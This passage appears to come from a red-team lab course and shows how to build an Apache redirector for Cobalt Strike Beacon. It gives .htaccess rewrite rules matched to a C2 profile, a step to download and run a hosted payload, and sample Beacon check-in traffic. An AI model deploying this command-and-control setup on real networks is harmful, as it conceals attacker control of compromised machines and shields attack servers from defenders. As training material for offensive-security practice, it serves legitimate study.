The final two directives to cover here are `%{REQUEST_URI}` and `%{QUERY_STRING}`.

The request URI is the portion that comes directly after the host IP/hostname, e.g. http://localhost/**index.php**.  The query string is anything that comes after the URI, e.g. http://localhost/index.php**?id=1**.

These in combination are also great for only proxying traffic that match our C2 profile.  Since we're using the `webbug_getonly` profile, we know what those will be for our Beacon.  The URI for GETs is `/___utm.gif` and for POSTs is `/__utm.gif` (identical apart from the number of prepended underscores).

Start off with the following:

RewriteEngine on

RewriteCond %{REQUEST_URI} win-payload [NC]
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]

RewriteCond %{REQUEST_URI} __utm.gif [NC]
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]

  

The first rule will allow the target to download the hosted payload, and the second rule will proxy the URI for the C2 traffic.  Open the console to **WKSTN-1**, launch Edge and navigate to **https://10.10.5.39/win-payload**.  Ignore the SSL warning (because we're using a self-signed certificate) to download the payload, then run it.

All being well, you will get a Beacon that you can issue tasks to and get the results.

We can get even more specific in the RewriteCond directive, because currently, any request that contains `__utm.gif` will get proxied.  We can go back to the C2 profile and look at the other parameters that are included in the requests.  The following is from the `http-get` block in `webbug_getonly.profile`.

set uri "/___utm.gif";
client {
        parameter "utmac" "UA-2202604-2";
        parameter "utmcn" "1";
        parameter "utmcs" "ISO-8859-1";
        parameter "utmsr" "1280x1024";
        parameter "utmsc" "32-bit";
        parameter "utmul" "en-US";

        metadata {
                base64url;
                prepend "__utma";
                parameter "utmcc";
        }
}

  

Each parameter gets added to the URI in the order in which they're defined.  So the above would be `___utm.gif?utmac=UA-2202604-2&utmcn=1` and so on.  Here's an example of a simple check-in request and an empty response (i.e. no new jobs were pending).

GET /___utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaKFgztfuYXyCS1e0_9U_JbX5a4wIKqwoOGPEj4gMUCWMstv_UHlWTpOEav3Wqxkgz30RFJUobM_-c7ECCgPdTQzOBe8djfQ-v9epBzMnWhYf1s4CrmfikMPMipTM8iLscRveV-oujpScoiLPDUgrFJONy-m5V9yT0sBZIwsAq_3g HTTP/1.1
Host: localhost:8443
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS)
Cache-Control: no-cache
X-Forwarded-For: 10.10.120.106
X-Forwarded-Host: 10.10.5.18
X-Forwarded-Server: 10.10.5.18
Connection: close

HTTP/1.1 200 OK
Date: Wed, 3 Nov 2021 13:41:22 GMT
Content-Type: image/gif
Content-Length: 40

GIF89a............!......,...........D.;

  

Adding another RewriteCond rule underneath the existing one turns them into an AND condition.  Where the request URI must contain `__utm.gif` and the query string must match what we expect as per the C2 profile.  We can't predict what the `utmcc` parameter value will be since it's metadata collected from on the compromised endpoint, but we do know it will always begin with `__utma`.

RewriteCond %{REQUEST_URI} __utm.gif [NC]
RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC]
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]

  

You may notice at this point that even though the Beacon is still checking in (if not you've made a mistake that is causing the traffic to drop), but it will no longer respond to commands.  This is because the response as defined in the `http-post` block is slightly different, so we need another rewrite condition to account for it.

set uri "/__utm.gif";                                                                                                                                          
set verb "GET";                                                                                                                                                
client {                                                                                                                                                       
        id {                                                                                                                                                   
                prepend "UA-220";                                                                                                                              
                append "-2";                                                                                                                                   
                parameter "utmac";                                                                                                                             
        }                                                                                                                                                      
                                                                                                                                                               
        parameter "utmcn" "1";                                                                                                                                 
        parameter "utmcs" "ISO-8859-1";                                                                                                                        
        parameter "utmsr" "1280x1024";                                                                                                                         
        parameter "utmsc" "32-bit";                                                                                                                            
        parameter "utmul" "en-US";

        output {
                base64url;
                prepend "__utma"; 
                parameter "utmcc";
        }
}

  

The above translates into a request which looks like this:

GET /__utm.gif?utmac=UA-2201937987662-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaAAAAMM2E4ZL8UaQNTYkmpPhRcf5VIUVFm2Py10lmXl1BpewAaMKwh2_rnRjgK1vvUZ-inA HTTP/1.1

  

The data portion is at the end of the request (the same place the metadata is placed in the http-get block).  However, the metadata is not sent in a "post", only the Beacon's ID is.  In this case, it's embedded here: utmac=UA-220**1937987662**-2.  Since this is different for each Beacon, it has to be wildcarded - easy enough to do with a regular expression:

RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC]

  Remember to add the **[OR]** flag to the previous rewrite condition.

You can also add any "catch all" rules that you want at the very bottom.  If none of the rewrite conditions are satisfied, it will process the final rule as a last resort.  My htaccess file now looks like this, and my Beacon is fully functional:

RewriteEngine on

RewriteCond %{REQUEST_URI} win-payload [NC]
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]

RewriteCond %{REQUEST_URI} __utm.gif [NC]
RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC,OR]
RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC]                                                                       
RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]

RewriteRule .* - [F]

  

The astute will notice that the two QUERY_STRING rewrite conditions match so closely, that you can actually remove the original and just keep the one with the wildcard in the utmac parameter.  However, since C2 profiles can use drastically different request URIs and query strings in their http-get and http-post blocks, it was worth working through the process of looking at both.

The whole idea behind this is to protect access to our Team Server.  We only want HTTP traffic hitting the Team Server that matches known C2 traffic (or payload download requests).  Have a play with curl/wget and see if you can leak any information from the Team Server.  If you can, try and lock down the htaccess rules more.